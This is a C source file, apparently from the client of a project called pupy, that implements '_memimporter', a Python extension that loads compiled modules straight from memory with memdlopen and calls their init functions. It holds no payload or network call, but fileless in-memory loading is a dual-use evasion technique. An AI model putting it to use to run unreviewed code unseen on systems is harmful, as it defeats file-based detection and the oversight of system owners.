pupy/client/sources-linux/_memimporter.c

#include <stdint.h>
#include <dlfcn.h>
#include "tmplibrary.h"

#ifdef STANDALONE
#  include <Python.h>
#  include "Python-version.h"
#  error "Shouldn't be here"
#else
#  include "Python-dynload.h"
#  include <stdio.h>
#endif

#include "_memimporter.h"
#include "debug.h"

static char module_doc[] =
"Importer which can load extension modules from memory";

bool
import_module(const char *initfuncname, char *modname, const char *data, size_t size) {
    char *oldcontext;

    dprint("import_module: init=%s mod=%s (%p:%lu)\n",
           initfuncname, modname, data, size);

    void *hmem=memdlopen(modname, data, size);
    if (!hmem) {
        dprint("Couldn't load %s: %m\n", modname);
        return false;
    }

    void (*do_init)() = dlsym(hmem, initfuncname);
    if (!do_init) {
        dprint("Couldn't find sym %s in %s: %m\n", initfuncname, modname);
        dlclose(hmem);
        return false;
    }

    oldcontext = _Py_PackageContext;
    _Py_PackageContext = modname;
    dprint("Call %s@%s\n", initfuncname, modname);
    do_init();
    _Py_PackageContext = oldcontext;

    dprint("Call %s@%s - complete\n", initfuncname, modname);

    return true;
}

static PyObject *
Py_import_module(PyObject *self, PyObject *args) {
    char *data;
    int size;
    char *initfuncname;
    char *modname;
    char *pathname;

    /* code, initfuncname, fqmodulename, path */
    if (!PyArg_ParseTuple(args, "s#sss:import_module",
                  &data, &size,
                  &initfuncname, &modname, &pathname)) {
        return NULL;
    }

    dprint("DEBUG! %s@%s\n", initfuncname, modname);

    if (!import_module(initfuncname, modname, data, size)) {
        PyErr_Format(PyExc_ImportError,
                 "Could not find function %s", initfuncname);
        return NULL;
    }

    /* Retrieve from sys.modules */
    return PyImport_ImportModule(modname);
}

static PyObject *
get_verbose_flag(PyObject *self, PyObject *args)
{
    return PyInt_FromLong(Py_VerboseFlag);
}

static PyMethodDef methods[] = {
    { "import_module", Py_import_module, METH_VARARGS,
      "import_module(data, size, initfuncname, path) -> module" },
    { "get_verbose_flag", get_verbose_flag, METH_NOARGS,
      "Return the Py_Verbose flag" },
    { NULL, NULL },     /* Sentinel */
};

DL_EXPORT(void)
init_memimporter(void)
{
    dprint("Importing... %p\n", Py_InitModule4);
    Py_InitModule3("_memimporter", methods, module_doc);
}